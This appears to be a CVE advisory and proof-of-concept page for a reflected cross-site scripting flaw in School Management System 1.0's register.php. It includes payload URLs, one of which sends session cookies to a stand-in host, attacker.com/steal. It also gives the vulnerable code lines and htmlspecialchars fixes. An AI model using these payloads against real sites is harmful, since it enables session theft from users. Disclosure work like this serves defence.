menevarad007/cve-2026-37750Reflected XSS proof-of-concept for School Management System 1.0, demonstrating unauthenticated JavaScript execution via the type parameter in register.php, with impact analysis and remediation guidance.
| Field | Info |
|---|
| CVE ID | CVE-2026-37750 |
| Type | Reflected Cross-Site Scripting (XSS) |
| Severity | Medium (CVSSv3: 6.1) |
| Vendor | mahmoudai1 |
| Product | School Management System |
| Version | 1.0 |
| Discoverer | Varad AP Mene |
| Date | 2026-04-16 |
| CWE | CWE-79 |
A reflected Cross-Site Scripting (XSS) vulnerability in School Management System 1.0 by mahmoudai1 allows unauthenticated remote attackers to execute arbitrary JavaScript in victims browsers via the unsanitized type parameter in register.php. The parameter is reflected without escaping inside an h1 tag at line 22 and inside a form action attribute at line 26. No authentication is required to exploit this vulnerability.
CVE ID: CVE-2026-37750 CWE: CWE-79 CVSSv3: 6.1 Medium (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)
School Management System 1.0 is a PHP/MySQL web application by mahmoudai1 on GitHub used to manage students, teachers and parents in schools.
register.php — Registration form (no authentication required)
Line 22: echo ucfirst($_REQUEST['type'])
Line 26: echo $_REQUEST['type']
No htmlspecialchars() used — raw user input reflected directly in HTML.
Prerequisites:
Step 1 — Open browser and visit this URL: http://target/register.php?type=script-alert-document.cookie-/script
Step 2 — JavaScript executes in browser Result: Alert box fires showing session cookies.
Step 3 — Cookie theft payload: http://target/register.php?type=script-document.location-http://attacker.com/steal?c=-document.cookie-/script Step 4 — Form action injection payload: http://target/register.php?type="-script-alert(1)-/script
Two injection points confirmed:
Injection Point 1 — Inside h1 tag (line 22):
echo ucfirst($_REQUEST['type'])
Output:
<h1><script>alert(1)</script> Application</h1>
Injection Point 2 — Inside form action attribute (line 26):
echo $_REQUEST['type']
Output:
<form action="register.php?type=<script>alert(1)</script>">
Line 22 fix: echo htmlspecialchars(ucfirst($_REQUEST['type']), ENT_QUOTES, 'UTF-8');
Line 26 fix: echo htmlspecialchars($_REQUEST['type'], ENT_QUOTES, 'UTF-8');
Varad AP Mene Email: [email protected] GitHub: https://github.com/menevarad007